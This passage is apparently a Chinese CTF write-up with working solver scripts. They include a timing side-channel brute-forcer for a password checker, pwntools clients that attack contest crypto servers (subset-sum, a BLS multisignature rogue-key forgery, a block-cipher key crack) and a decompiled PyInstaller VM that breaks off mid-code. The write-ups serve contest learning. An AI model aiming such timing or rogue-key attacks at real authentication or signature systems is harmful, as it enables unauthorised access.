            result = subprocess.run(
                ['password_checker.exe'],
                input=pwd + '\n',
                capture_output=True,
                text=True,
                timeout=15
            )
            end = time.perf_counter()
            times.append(end - start)
            output = result.stdout
        except subprocess.TimeoutExpired:
            return -1, "Timeout"

    avg_time = statistics.mean(times)
    return avg_time, output


def timing_attack():
    """使用时间侧信道攻击逐位爆破密码"""
    password = ""

    for position in range(10):
        print(f"\n=== Cracking position {position + 1}/10 ===")
        best_digit = None
        max_time = 0

        results = []
        for digit in range(10):
            test_pwd = password + str(digit) + "0" * (9 - position)
            avg_time, output = test_password(test_pwd, runs=5)
            results.append((digit, avg_time))
            print(f"Testing {test_pwd}: {avg_time:.6f}s")

            if avg_time > max_time:
                max_time = avg_time
                best_digit = digit

        # 显示结果
        results.sort(key=lambda x: x[1], reverse=True)
        print(f"\nTop 3 candidates:")
        for i, (digit, t) in enumerate(results[:3]):
            print(f"  {i + 1}. Digit {digit}: {t:.6f}s")

        password += str(best_digit)
        print(f"Current password: {password}")

    print(f"\n=== Final password: {password} ===")

    # 验证最终密码
    print("\nVerifying final password...")
    _, output = test_password(password, runs=1)
    print(f"Output: {output}")

    return password


if __name__ == "__main__":
    result = timing_attack()

运行后要等待15分钟左右,结束后获得密码:2145768093,password_checker.exe也提示密码正确

image-20251102182808884


flag.zip

用密码2145768093解压出36张图片,用exiftool查看其中一张,发现时间是2037-12-30 00:00:03

image-20251102205156103


写一个脚本查看每张图片的时间戳和exif信息

import pyzipper
import datetime
from PIL import Image
from PIL.ExifTags import TAGS
from io import BytesIO

zip_file = 'flag.zip'
zip_password = b'2145768093'


def get_exif_time_from_bytes(img_bytes):
    try:
        img = Image.open(BytesIO(img_bytes))
        exif_data = img._getexif()
        if not exif_data:
            return "无EXIF"
        exif = {TAGS.get(tag, tag): value for tag, value in exif_data.items()}
        for key in ["DateTimeOriginal", "DateTime", "ModifyDate"]:
            if key in exif:
                return exif[key]
        return "无EXIF"
    except:
        return "无EXIF"


with pyzipper.AESZipFile(zip_file, 'r') as zf:
    zf.pwd = zip_password  # 设置密码

    print(f"{'文件名':<10} | {'ZIP时间戳':<20} | {'UNIX时间':<12} | {'EXIF时间':<20}")
    print("-" * 80)

    for file_num in range(1, 37):
        filename = f"{file_num}.png"
        try:
            info = zf.getinfo(filename)
            zip_dt = datetime.datetime(*info.date_time)
            zip_unix = int(zip_dt.timestamp())

            # 读取文件字节
            img_bytes = zf.read(filename)
            exif_time = get_exif_time_from_bytes(img_bytes)

            print(f"{filename:<10} | {zip_dt} | {zip_unix:<12} | {exif_time:<20}")
        except KeyError:
            print(f"{filename:<10} | 未找到文件 | - | -")

image-20251102205338011


按照右侧的EXIF时间,从早到晚进行排序,得到的顺序是:

文件名EXIF时间时间戳
34.png2037-12-30 00:00:012145768196
13.png2037-12-30 00:00:022145768202
1.png2037-12-30 00:00:032145768190
30.png2037-12-30 00:00:042145768196
19.png2037-12-30 00:00:052145768216
7.png2037-12-30 00:00:062145768182
21.png2037-12-30 00:00:072145768142
28.png2037-12-30 00:00:082145768210
4.png2037-12-30 00:00:092145768188
14.png2037-12-30 00:00:102145768146
32.png2037-12-30 00:00:112145768208
36.png2037-12-30 00:00:122145768194
33.png2037-12-30 00:00:132145768188
5.png2037-12-30 00:00:142145768210
15.png2037-12-30 00:00:152145768166
18.png2037-12-30 00:00:162145768194
6.png2037-12-30 00:00:172145768188
16.png2037-12-30 00:00:182145768176
29.png2037-12-30 00:00:192145768194
26.png2037-12-30 00:00:202145768190
31.png2037-12-30 00:00:212145768170
9.png2037-12-30 00:00:222145768188
3.png2037-12-30 00:00:232145768178
24.png2037-12-30 00:00:242145768166
11.png2037-12-30 00:00:252145768170
2.png2037-12-30 00:00:262145768162
8.png2037-12-30 00:00:272145768188
10.png2037-12-30 00:00:282145768166
35.png2037-12-30 00:00:292145768158
27.png2037-12-30 00:00:302145768192
23.png2037-12-30 00:00:312145768200
22.png2037-12-30 00:00:322145768194
12.png2037-12-30 00:00:332145768208
25.png2037-12-30 00:00:342145768126
17.png2037-12-30 00:00:352145768126
20.png2037-12-30 00:00:362145768218

可以看到它们的时间戳和压缩包密码:2145768093,只大了一点点,猜测这个密码也是一个时间戳。按照顺序,用文件的时间戳减去密码的时间戳,得到:

103 109 97 103 123 89 49 117 95 53 115 101 95 117 73 101 95 83 101 97 77 95 85
73 77 69 95 73 65 99 107 101 115 33 33 125

用ASCII解码发现顺序不对,但是flag的格式是有了。

image-20251102212137653


到这一步我没招了,没找到其他信息,但我发现开头的ASCII码:103 109减掉1后,就有了flag头

103 109 --> gm
--------------
102 108 --> fl  //ASCII码减1后

image-20251102212338104

到这里,我就想是不是flag内容的部分ASCII码也可以减掉1?🤔

于是我就开始了试错法提交flag,先处理一下flag里面的字母,ASCII 95是下划线,对每段进行分开,方便调整试错

image-20251102213656295

第一段的Y1u看起来像是Y0u,给49减掉1=48后,得到:Y0u

image-20251102213858353

第二段把53和115减掉1后,得到:4re。看起来flag具有可读性了:you are…

image-20251102213947728

第三段的117和73分别减掉1后,得到:tHe

image-20251102214011250

第四段的83和77减掉1后,得到:ReaL

image-20251102214150026

第五段的85减掉1后,得到:TIME

image-20251102214229203

第六段有两个选项,我都进行试错了,先看第一个

第一个选项:73和115减掉1后,得到:HAcker,和前面的拼接并提交后,提示flag错误

image-20251102214541689

第二个选项:

把65减掉1,得到:H@cker!!

image-20251102214651557

然后和前面的进行拼接得到:flag{Y0u_4re_tHe_ReaL_TIME_H@cker!!}

用这个提交后,提示flag正确。应该是非预期解了😨


Crypto

Poly

题目描述:What's the gcd of three polynomials?

把附件的代码给AI,AI分析并给出解题脚本

image-20251027153153106

image-20251027153203166


完整解题脚本:

sage

def l2b(n: int, length: int) -> bytes:
    """Convert integer back to bytes"""
    result = []
    for _ in range(length):
        result.append(n & 0xff)
        n >>= 8
    return bytes(reversed(result))

# Given values
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083

print("Setting up polynomial ring...")
# Create polynomial ring over finite field
F = GF(p)
R.<m1, m2> = PolynomialRing(F)

# Define the polynomial equations
eq1 = m1^19 + m1^18 + 4*m1^17 - c1
eq2 = 5*m2^19 + m2^18 + 4*m2^17 - c2
eq3 = m1^7*m2^2 + m2 - s

print("Computing Groebner basis (this may take a while)...")
# Use Groebner basis to solve the system
I = ideal(eq1, eq2, eq3)
gb = I.groebner_basis()

print(f"Groebner basis computed with {len(gb)} elements")
print("\nTrying to extract solutions...")

# Try to find solutions
for poly in gb:
    print(f"Polynomial: {poly}")
    if poly.parent().ngens() == 1:  # Univariate polynomial
        print(f"Found univariate polynomial in {poly.variables()}")
        # Try to solve it
        roots = poly.univariate_polynomial().roots()
        print(f"Roots: {roots}")

# Alternative: try variety (find all solutions)
print("\nComputing variety...")
try:
    V = I.variety()
    print(f"Found {len(V)} solution(s):")
    
    for sol in V:
        m1_val = Integer(sol[m1])
        m2_val = Integer(sol[m2])
        
        print(f"\nm1 = {m1_val}")
        print(f"m2 = {m2_val}")
        
        # Verify the solution
        check1 = (m1_val^19 + m1_val^18 + 4*m1_val^17) % p
        check2 = (5*m2_val^19 + m2_val^18 + 4*m2_val^17) % p
        check3 = (m1_val^7*m2_val^2 + m2_val) % p
        
        print(f"Verification:")
        print(f"  c1 matches: {check1 == c1}")
        print(f"  c2 matches: {check2 == c2}")
        print(f"  s matches: {check3 == s}")
        
        # Try to decode as bytes - guess reasonable lengths
        for len1 in range(15, 25):
            for len2 in range(15, 25):
                try:
                    x1 = l2b(m1_val, len1).decode('ascii')
                    x2 = l2b(m2_val, len2).decode('ascii')
                    flag = x1 + x2
                    if flag.startswith('flag{') and flag.endswith('}'):
                        print(f"\n{'='*50}")
                        print(f"FLAG FOUND: {flag}")
                        print(f"{'='*50}")
                except:
                    pass
        
except Exception as e:
    print(f"Variety computation failed: {e}")
    print("Trying alternative approach...")

image-20251027153400987


得到m1和m2之后

def l2b(n: int, length: int) -> bytes:
    """Convert integer back to bytes"""
    result = []
    for _ in range(length):
        result.append(n & 0xff)
        n >>= 8
    return bytes(reversed(result))

# Given values
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199

# From Groebner basis output:
# Polynomial: m1 + 30784558756838163538710631877451275199664084195901051262452937785818638319630
# Polynomial: m2 + 30784558756838163538710631943551130442387595390867383190918209920950949511666

# This means: m1 = -30784558756838163538710631877451275199664084195901051262452937785818638319630 (mod p)
# Which is: m1 = p - 30784558756838163538710631877451275199664084195901051262452937785818638319630

m1 = p - 30784558756838163538710631877451275199664084195901051262452937785818638319630
m2 = p - 30784558756838163538710631943551130442387595390867383190918209920950949511666

print(f"m1 = {m1}")
print(f"m2 = {m2}")

# Verify the solution
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083

check1 = (m1**19 + m1**18 + 4*m1**17) % p
check2 = (5*m2**19 + m2**18 + 4*m2**17) % p
check3 = (m1**7 * m2**2 + m2) % p

print(f"\nVerification:")
print(f"  c1 matches: {check1 == c1}")
print(f"  c2 matches: {check2 == c2}")
print(f"  s matches: {check3 == s}")

# Try to decode as bytes - the flag format is "flag{uuid}"
# UUIDs are 36 characters: "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# So total flag length is 5 + 36 + 1 = 42 characters
# Split in half: 21 and 21

for len1 in range(15, 30):
    try:
        x1 = l2b(m1, len1).decode('ascii')
        if x1.startswith('flag{'):
            print(f"\nFirst half (length {len1}): {x1}")
            # Now try to find matching second half
            for len2 in range(15, 30):
                try:
                    x2 = l2b(m2, len2).decode('ascii')
                    flag = x1 + x2
                    if flag.endswith('}') and len(flag) == 42:
                        print(f"Second half (length {len2}): {x2}")
                        print(f"\n{'='*60}")
                        print(f"FLAG FOUND: {flag}")
                        print(f"{'='*60}")
                        break
                except:
                    pass
            break
    except:
        pass

image-20251027153430651


不给你看喵

题目描述:不告诉你喵

把附件的代码和服务器给的数据给AI,让AI分析并写出解题脚本

image-20251027161025893

"""
自动化脚本获取flag
"""
from pwn import *

# 服务器信息
host = "39.106.48.123"
port = 43714

# 已知参数
p = 225791639467198034995070527100776477487
g = 3
h = 5

# 连接到服务器
conn = remote(host, port)

# 接收 a 数组和 t
data = conn.recvuntil(b'Every bit: ')
lines = data.decode().strip().split('\n')

# 解析 a 数组(第一行)
a = eval(lines[0])
print(f"收到 a: {a}")

# 解析 t(第二行)
t = int(lines[1])
print(f"收到 t: {t}")

n = len(a)

# 求解子集和问题
def solve_subset_sum(a, target, n):
    def backtrack(index, current_sum, solution):
        if index == n:
            if current_sum == target:
                return solution[:]
            return None
        
        # 尝试 x[index] = 0
        result = backtrack(index + 1, current_sum, solution + [0])
        if result is not None:
            return result
        
        # 尝试 x[index] = 1
        result = backtrack(index + 1, current_sum + a[index], solution + [1])
        if result is not None:
            return result
        
        return None
    
    return backtrack(0, 0, [])

print("正在求解子集和问题...")
x = solve_subset_sum(a, t, n)
print(f"找到 x: {x}")

# 验证
check_sum = sum(a[i] * x[i] for i in range(n))
assert check_sum == t, "子集和验证失败!"
print("子集和验证成功!")

# 构造并发送第一个 C 值
if x[0] == 1:
    C_0 = g
else:
    C_0 = h
conn.sendline(str(C_0).encode())
print(f"发送 C[0] = {C_0}")

# 发送剩余的 C 值
for i in range(1, n):
    conn.recvuntil(b'Every bit: ')
    if x[i] == 1:
        C_i = g
    else:
        C_i = h
    conn.sendline(str(C_i).encode())
    print(f"发送 C[{i}] = {C_i}")

# 接收 s 数组
s_data = conn.recvuntil(b'>')
s_lines = s_data.decode().strip().split('\n')
# 找到包含列表的那一行
for line in s_lines:
    if line.startswith('['):
        s = eval(line)
        break

print(f"收到 s: {s}")

# 计算 S 和 R
S = sum(s[i] * x[i] for i in range(n))
R = sum(s[i] * (1 - x[i]) for i in range(n))

print(f"计算得到 S = {S}")
print(f"计算得到 R = {R}")

# 验证 R > S
assert R > S, f"R ({R}) 必须大于 S ({S})!"
print("R > S 验证通过!")

# 发送 S
conn.sendline(str(S).encode())
print(f"发送 S = {S}")

# 发送 R
conn.recvuntil(b'>')
conn.sendline(str(R).encode())
print(f"发送 R = {R}")

# 接收 FLAG
print("\n等待接收 FLAG...")
response = conn.recvall(timeout=2).decode()
print(response)

conn.close()

image-20251027161116819


BLS多重签名:零的裂变

题目描述:
欢迎来到BLS多重签名验证系统!我们使用最先进的BLS12-381曲线和聚合签名技术,确保签名的安全性和效率。
在这个系统中,用户可以注册自己的BLS公钥(需要提供Proof of Possession),然后使用多重签名功能。系统会验证聚合公钥和聚合签名的有效性。
你的任务:
你需要构造一个特殊的多重签名,使得:
1.使用3个公钥对消息 "get_flag" 进行签名,其中2个公钥由你注册控制
2.聚合公钥必须等于服务器的固定公钥,聚合签名验证通过

把题目描述和附件的代码给AI,让AI进行分析并给出解题脚本

image-20251027161948358

image-20251027162008332

#!/usr/bin/env python3
# solution.py - BLS Multisig Challenge Solver

from py_ecc.bls import G2ProofOfPossession as bls
from py_ecc.bls.g2_primitives import G1_to_pubkey, pubkey_to_G1, G2_to_signature, signature_to_G2
from py_ecc.optimized_bls12_381 import G1, multiply, add, neg, Z1
import socket
import json
import secrets

# BLS12-381 curve order
order = 52435875175126190479447740508185965837690552500527637822603658699938581184513

def send_command(sock, command):
    """Send command to server and receive response"""
    sock.sendall(json.dumps(command).encode() + b'\n')
    response = sock.recv(4096).decode().strip()
    return json.loads(response)

def get_server_info(sock):
    """Get server public key and PoP"""
    cmd = {'type': 'get_info'}
    response = send_command(sock, cmd)
    return response

def register_pubkey(sock, pk_hex, pop_hex):
    """Register a public key with its PoP"""
    cmd = {
        'type': 'register',
        'pk': pk_hex,
        'pop': pop_hex
    }
    response = send_command(sock, cmd)
    return response

def get_server_signature(sock):
    """Get server signature for 'get_flag'"""
    cmd = {
        'type': 'sign',
        'msg': 'get_flag'
    }
    response = send_command(sock, cmd)
    return response

def submit_flag_request(sock, pks_hex, sig_hex):
    """Submit the flag request with aggregate signature"""
    cmd = {
        'type': 'get_flag',
        'pks': pks_hex,
        'sig': sig_hex
    }
    response = send_command(sock, cmd)
    return response

def point_to_hex(point):
    """Convert G1 point to hex string"""
    return G1_to_pubkey(point).hex()

def hex_to_point(hex_str):
    """Convert hex string to G1 point"""
    return pubkey_to_G1(bytes.fromhex(hex_str))

def negate_pubkey(pk_hex):
    """Negate a public key (find -PK)"""
    point = hex_to_point(pk_hex)
    neg_point = neg(point)
    return point_to_hex(neg_point)

def solve_challenge(host, port):
    """Main solving function"""
    print(f"[*] Connecting to {host}:{port}...")
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        sock.settimeout(30)
        
        # Step 1: Get server information
        print("[*] Getting server info...")
        info_response = get_server_info(sock)
        if not info_response['success']:
            print(f"[-] Failed to get server info: {info_response['message']}")
            return
        
        server_pk_hex = info_response['message']['server_pk']
        print(f"[+] Server PK: {server_pk_hex[:32]}...")
        
        # Step 2: Generate first keypair
        print("[*] Generating keypair 1...")
        sk1 = secrets.randbelow(order - 1) + 1
        pk1 = bls.SkToPk(sk1)
        pk1_hex = pk1.hex()
        pop1 = bls.Sign(sk1, b"POP")
        pop1_hex = pop1.hex()
        
        print(f"[+] PK1: {pk1_hex[:32]}...")
        
        # Step 3: Generate second public key as negation of first
        print("[*] Generating keypair 2 (negation of PK1)...")
        pk2_hex = negate_pubkey(pk1_hex)
        
        # For pk2, we need to generate PoP
        # Since pk2 = -pk1 = (-1) * G * sk1 = G * (-sk1)
        # The secret key for pk2 is sk2 = order - sk1
        sk2 = (order - sk1) % order
        if sk2 == 0:
            sk2 = order - sk1
        
        pop2 = bls.Sign(sk2, b"POP")
        pop2_hex = pop2.hex()
        
        print(f"[+] PK2: {pk2_hex[:32]}...")
        
        # Verify that pk1 + pk2 = 0 (identity)
        pk1_point = hex_to_point(pk1_hex)
        pk2_point = hex_to_point(pk2_hex)
        sum_point = add(pk1_point, pk2_point)
        
        if sum_point == Z1:
            print("[+] Verified: PK1 + PK2 = identity point")
        else:
            print(f"[!] Warning: PK1 + PK2 = {sum_point}")
        
        # Step 4: Register both public keys
        print("[*] Registering PK1...")
        reg1_response = register_pubkey(sock, pk1_hex, pop1_hex)
        if reg1_response['success']:
            print("[+] PK1 registered successfully")
        else:
            print(f"[-] Failed to register PK1: {reg1_response['message']}")
            return
        
        print("[*] Registering PK2...")
        reg2_response = register_pubkey(sock, pk2_hex, pop2_hex)
        if reg2_response['success']:
            print("[+] PK2 registered successfully")
        else:
            print(f"[-] Failed to register PK2: {reg2_response['message']}")
            return
        
        # Step 5: Get server signature for "get_flag"
        print("[*] Getting server signature...")
        sig_response = get_server_signature(sock)
        if not sig_response['success']:
            print(f"[-] Failed to get server signature: {sig_response['message']}")
            return
        
        server_sig_hex = sig_response['message']
        print(f"[+] Server signature: {server_sig_hex[:32]}...")
        
        # Step 6: Create signatures for our keys
        print("[*] Creating signature with sk1...")
        msg = b"get_flag"
        sig1 = bls.Sign(sk1, msg)
        
        print("[*] Creating signature with sk2...")
        sig2 = bls.Sign(sk2, msg)
        
        # Step 7: Aggregate signatures
        # The aggregate signature should be sig1 + sig2 + server_sig
        # But since pk1 + pk2 = 0, we actually need sig1 + sig2 = 0 for proper verification
        # However, for BLS, sig(sk, m) on negated keys doesn't simply negate
        # Let's try: aggregate all three signatures
        print("[*] Aggregating signatures...")
        
        sig1_point = signature_to_G2(sig1)
        sig2_point = signature_to_G2(sig2)
        server_sig_point = signature_to_G2(bytes.fromhex(server_sig_hex))
        
        # Aggregate: sig1 + sig2 + server_sig
        agg_sig_point = add(add(sig1_point, sig2_point), server_sig_point)
        agg_sig = G2_to_signature(agg_sig_point)
        agg_sig_hex = agg_sig.hex()
        
        print(f"[+] Aggregate signature: {agg_sig_hex[:32]}...")
        
        # Step 8: Submit flag request
        print("[*] Submitting flag request...")
        pks_list = [pk1_hex, pk2_hex, server_pk_hex]
        
        flag_response = submit_flag_request(sock, pks_list, agg_sig_hex)
        
        if flag_response['success']:
            print(f"\n[+] SUCCESS! Flag: {flag_response['message']}")
        else:
            print(f"[-] Failed: {flag_response['message']}")
            
            # Try alternative: just use server signature
            print("[*] Trying alternative: using only server signature...")
            flag_response2 = submit_flag_request(sock, pks_list, server_sig_hex)
            if flag_response2['success']:
                print(f"\n[+] SUCCESS! Flag: {flag_response2['message']}")
            else:
                print(f"[-] Failed: {flag_response2['message']}")

if __name__ == "__main__":
    HOST = "39.106.48.123"
    PORT = 32916
    
    try:
        solve_challenge(HOST, PORT)
    except Exception as e:
        print(f"[-] Error: {e}")
        import traceback
        traceback.print_exc()

image-20251027162036180


Smile盒

题目描述:谁看到这个S盒的差分分布表都一定惊得下巴掉下来。

把附件的代码给claude4.5,让它进行分析

image-20251027170804953

image-20251027170814064

image-20251027170833968


claude写的脚本,有时候结果是wrong,有时候直接获得flag,结果是wrong的话要多运行几次

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
带调试的自动化攻击脚本
"""

from pwn import *
import subprocess
import os
import tempfile

class CathylinFour:
    def __init__(self,r,key):
        self.r=r
        self.S=(13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14)
        self.P=(0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15)
        self.key=key
        
    def deblock(self,m):
        return [(m >> 12) & 0xF,(m >> 8) & 0xF,(m >> 4) & 0xF,m & 0xF]  
        
    def block(self, nibbles):
        return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]
        
    def permute_bits(self, x):
        bits = [(x >> (15 - i)) & 1 for i in range(16)] 
        new_bits = [0] * 16
        for i in range(16):
            new_pos = self.P[i]
            new_bits[new_pos] = bits[i]
        result = 0
        for i in range(16):
            result = (result << 1) | new_bits[i]
        return result
        
    def encrypt(self,m):
        p = m & 0xffff
        for t in range(self.r-1):
            p=p^self.key[t]
            p=self.deblock(p)
            p=[self.S[i] for i in p]
            p=self.block(p)
            p=self.permute_bits(p)
        
        p=p^self.key[self.r-1]
        p=self.deblock(p)
        p=[self.S[i] for i in p]
        p=self.block(p)
        c=p^self.key[-1]
        
        return c

def collect_pairs(conn):
    """收集明文-密文对"""
    print("[*] 收集明文-密文对...")
    test_plaintexts = [0x0, 0x1111, 0xffff, 0xaaaa]
    pairs = []
    
    for pt in test_plaintexts:
        conn.sendline(hex(pt).encode())
        response = conn.recvuntil(b"Your input:")
        
        # 解析密文
        lines = response.decode().split('\n')
        for line in lines:
            if 'Output:' in line:
                ct_str = line.split('Output:')[1].strip()
                ct = int(ct_str, 16)
                pairs.append((pt, ct))
                print(f"    {hex(pt)} -> {hex(ct)}")
                break
    
    print(f"[+] 收集到 {len(pairs)} 对数据\n")
    return pairs

def generate_c_cracker(pairs):
    """生成包含数据的C破解程序"""
    c_code = f'''
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

const uint8_t S[16] = {{13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14}};
const uint8_t S_inv[16] = {{9, 11, 4, 6, 7, 3, 2, 5, 14, 8, 10, 1, 12, 0, 15, 13}};
const uint8_t P[16] = {{0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15}};

const uint16_t plaintexts[4] = {{{pairs[0][0]:#x}, {pairs[1][0]:#x}, {pairs[2][0]:#x}, {pairs[3][0]:#x}}};
const uint16_t ciphertexts[4] = {{{pairs[0][1]:#x}, {pairs[1][1]:#x}, {pairs[2][1]:#x}, {pairs[3][1]:#x}}};

uint16_t permute_bits(uint16_t x) {{
    uint16_t result = 0;
    for (int i = 0; i < 16; i++) {{
        if (x & (1 << (15 - i))) {{
            result |= (1 << (15 - P[i]));
        }}
    }}
    return result;
}}

uint16_t encrypt_round1(uint16_t plaintext, uint16_t key0) {{
    uint16_t p = plaintext ^ key0;
    uint8_t n0 = S[(p >> 12) & 0xF];
    uint8_t n1 = S[(p >> 8) & 0xF];
    uint8_t n2 = S[(p >> 4) & 0xF];
    uint8_t n3 = S[p & 0xF];
    p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
    return permute_bits(p);
}}

uint16_t encrypt_full(uint16_t plaintext, uint16_t key0, uint16_t key1, uint16_t key2) {{
    uint16_t p = plaintext;
    p = p ^ key0;
    uint8_t n0 = S[(p >> 12) & 0xF];
    uint8_t n1 = S[(p >> 8) & 0xF];
    uint8_t n2 = S[(p >> 4) & 0xF];
    uint8_t n3 = S[p & 0xF];
    p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
    p = permute_bits(p);
    
    p = p ^ key1;
    n0 = S[(p >> 12) & 0xF];
    n1 = S[(p >> 8) & 0xF];
    n2 = S[(p >> 4) & 0xF];
    n3 = S[p & 0xF];
    p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
    
    return p ^ key2;
}}

uint16_t decrypt_to_middle(uint16_t ciphertext, uint16_t key1, uint16_t key2) {{
    uint16_t p = ciphertext ^ key2;
    uint8_t n0 = S_inv[(p >> 12) & 0xF];
    uint8_t n1 = S_inv[(p >> 8) & 0xF];
    uint8_t n2 = S_inv[(p >> 4) & 0xF];
    uint8_t n3 = S_inv[p & 0xF];
    p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
    return p ^ key1;
}}

int main() {{
    uint16_t *key0_lookup = (uint16_t*)calloc(0x10000, sizeof(uint16_t));
    uint8_t *valid_middle = (uint8_t*)calloc(0x10000, sizeof(uint8_t));
    
    for (uint32_t key0 = 0; key0 < 0x10000; key0++) {{
        uint16_t middle = encrypt_round1(plaintexts[0], key0);
        key0_lookup[middle] = key0;
        valid_middle[middle] = 1;
    }}
    
    for (uint32_t key1 = 0; key1 < 0x10000; key1++) {{
        for (uint32_t key2 = 0; key2 < 0x10000; key2++) {{
            uint16_t middle_back = decrypt_to_middle(ciphertexts[0], key1, key2);
            
            if (valid_middle[middle_back]) {{
                uint16_t key0 = key0_lookup[middle_back];
                
                if (encrypt_round1(plaintexts[0], key0) == middle_back) {{
                    int valid = 1;
                    for (int i = 0; i < 4; i++) {{
                        if (encrypt_full(plaintexts[i], key0, key1, key2) != ciphertexts[i]) {{
                            valid = 0;
                            break;
                        }}
                    }}
                    
                    if (valid) {{
                        printf("%d %d %d\\n", key0, key1, key2);
                        free(key0_lookup);
                        free(valid_middle);
                        return 0;
                    }}
                }}
            }}
        }}
    }}
    
    free(key0_lookup);
    free(valid_middle);
    return 1;
}}
'''
    return c_code

def crack_with_c(pairs):
    """使用C程序快速破解"""
    print("[*] 生成C破解程序...")
    c_code = generate_c_cracker(pairs)
    
    with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
        c_file = f.name
        f.write(c_code)
    
    binary_file = c_file.replace('.c', '')
    
    try:
        print("[*] 编译C程序...")
        compile_cmd = ['gcc', '-O3', '-march=native', c_file, '-o', binary_file]
        result = subprocess.run(compile_cmd, capture_output=True, text=True)
        
        if result.returncode != 0:
            print("[-] 编译失败:")
            print(result.stderr)
            return None, None, None
        
        print("[+] 编译成功!")
        print("[*] 运行破解程序...\n")
        
        import time
        start = time.time()
        result = subprocess.run([binary_file], capture_output=True, text=True, timeout=300)
        elapsed = time.time() - start
        
        if result.returncode == 0:
            keys = result.stdout.strip().split()
            key0, key1, key2 = int(keys[0]), int(keys[1]), int(keys[2])
            
            print(f"[+] 破解成功!耗时: {elapsed:.1f} 秒")
            print(f"[+] key[0] = {hex(key0)} ({key0})")
            print(f"[+] key[1] = {hex(key1)} ({key1})")
            print(f"[+] key[2] = {hex(key2)} ({key2})\n")
            
            return key0, key1, key2
        else:
            print("[-] 破解失败")
            return None, None, None
            
    finally:
        if os.path.exists(c_file):
            os.remove(c_file)
        if os.path.exists(binary_file):
            os.remove(binary_file)

def main():
    print("=" * 70)
    print("           调试版自动化攻击脚本")
    print("=" * 70)
    print()
    
    print("[*] 连接服务器...")
    try:
        conn = remote('8.147.132.32', 22975)
        conn.recvuntil(b"Your input:")
        print("[+] 连接成功!\n")
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return
    
    try:
        # 收集数据
        pairs = collect_pairs(conn)
        
        # C语言破解
        key0, key1, key2 = crack_with_c(pairs)
        
        if key2 is None:
            print("[-] 破解失败")
            conn.close()
            return
        
        # Python验证密钥是否正确
        print("[*] Python验证密钥...")
        enc = CathylinFour(2, [key0, key1, key2])
        all_valid = True
        for pt, ct in pairs:
            result = enc.encrypt(pt)
            if result != ct:
                print(f"[-] 验证失败: {hex(pt)} -> 期望 {hex(ct)}, 得到 {hex(result)}")
                all_valid = False
            else:
                print(f"[+] 验证通过: {hex(pt)} -> {hex(ct)}")
        
        if not all_valid:
            print("[-] 密钥验证失败!")
            conn.close()
            return
        
        print("[+] 所有明文-密文对验证通过!\n")
        
        # 提交密钥获取FLAG
        print("[*] 提交密钥获取FLAG...")
        print(f"[DEBUG] 发送: 'k'")
        conn.sendline(b'k')
        
        response = conn.recvuntil(b"Your key:")
        print(f"[DEBUG] 收到: {response}")
        
        key_str = hex(key2)
        print(f"[DEBUG] 发送密钥: '{key_str}'")
        conn.sendline(key_str.encode())
        
        # 接收FLAG
        response = conn.recvall(timeout=2).decode()
        print(f"[DEBUG] 收到响应: {response}")
        
        print()
        print("=" * 70)
        if "You can smile" in response or "flag" in response.lower() or "{" in response:
            print("✓✓✓ FLAG ✓✓✓")
            print("=" * 70)
            print(response)
        else:
            print("提交失败")
            print("=" * 70)
            print(response)
        print("=" * 70)
        
    except Exception as e:
        print(f"[-] 错误: {e}")
        import traceback
        traceback.print_exc()
    finally:
        conn.close()

if __name__ == '__main__':
    main()

image-20251027171120107


Reverse

天才的“认证”

题目描述:“我把空间站的防御系统拿来做了个小玩具。如果你能破解它,就来主控室找我。要是连这点事都办不到,就别来烦我了,笨蛋。”

先用pyinstxtractor.py反编译成pyc,pyinstxtractor的github地址:extremecoders-re/pyinstxtractor: PyInstaller Extractor

image-20251028103109094


然后用网站 python反编译 - 在线工具 把pyc反编译成代码

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8


class TinyVM:
    
    def __init__(self, bytecode, user_input):
        self.bytecode = bytecode
        self.user_input = user_input
        self.mem = [
            0] * 100
        self.ip = 0
        self.stack = []
        self.f = False
        self.halted = False
        for i, char_code in enumerate(self.user_input):
            self.mem[16 + i] = char_code

    
    def push(self, value):
        self.stack.append(value & 255)

    
    def pop(self):
        if self.stack:
            return self.stack.pop()

    
    def run(self):
        if self.halted and self.ip < len(self.bytecode):
            opcode = self.bytecode[self.ip]
            self.ip += 1
            if opcode == 1:
                self.push(self.bytecode[self.ip])
                self.ip += 1
                continue
            if opcode == 2:
                self.push(self.mem[self.bytecode[self.ip]])
                self.ip += 1
                continue
            if opcode == 3:
                self.mem[self.bytecode[self.ip]] = self.pop()
                self.ip += 1
                continue
            if opcode == 4:
                self.push(self.pop() + self.pop())
                continue
            if opcode == 5:
                self.push(self.pop() ^ self.pop())
                continue
            if opcode == 6:
                n = self.pop()
                v = self.pop()
                self.push(v << n)
                continue
            if opcode == 7:
                n = self.pop()
                v = self.pop()
                self.push(v >> n)
                continue
            if opcode == 8:
                self.push(self.pop() | self.pop())
                continue
            if opcode == 9:
                self.f = self.pop() == self.pop()
                continue
            if opcode in (10, 11, 12):
                offset = self.bytecode[self.ip]
                self.ip += 1
                if not opcode == 12:
                    if (opcode == 10 or not (self.f)) and opcode == 11:
                        pass
                should_jump = self.f
